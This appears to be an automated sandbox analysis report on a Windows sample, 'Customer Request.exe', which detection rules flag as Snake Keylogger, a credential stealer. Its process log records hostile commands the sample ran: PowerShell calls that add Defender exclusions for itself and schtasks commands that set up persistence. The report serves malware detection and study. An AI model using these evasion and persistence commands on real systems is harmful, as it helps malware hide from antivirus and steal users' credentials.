Source: 10.2.Customer Request.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Customer Request.exe.457d230.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Customer Request.exe.459de50.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 11.2.gCFuOglEso.exe.3e49cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Customer Request.exe PID: 5944, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Customer Request.exe PID: 5932, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: gCFuOglEso.exe PID: 7388, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.459de50.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Customer Request.exe.457d230.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, frwa3jjtrF5QwZLvOa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, EqMLXp468anp44vyd9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/17@3/3

Source: C:\Users\user\Desktop\Customer Request.exe

File created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Mutant created: \Sessions\1\BaseNamedObjects\xVHOUlaxka
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_03

Source: C:\Users\user\Desktop\Customer Request.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBA61.tmp

Jump to behavior

Source: Customer Request.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Customer Request.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\Customer Request.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Customer Request.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Customer Request.exe, 0000000A.00000002.2717700479.000000000410E000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002C46000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002C88000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002C7C000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2717613443.0000000003A8E000.00000004.00000800.00020000.00000000.sdmp, gCFuOglEso.exe, 0000000F.00000002.2710539876.0000000002C36000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Customer Request.exe	Virustotal: Detection: 40%
Source: Customer Request.exe	ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\Customer Request.exe

File read: C:\Users\user\Desktop\Customer Request.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe C:\Users\user\AppData\Roaming\gCFuOglEso.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process created: C:\Users\user\Desktop\Customer Request.exe "C:\Users\user\Desktop\Customer Request.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp"
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe "C:\Users\user\AppData\Roaming\gCFuOglEso.exe"

Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: windowscodecs.dll	Jump to behavior
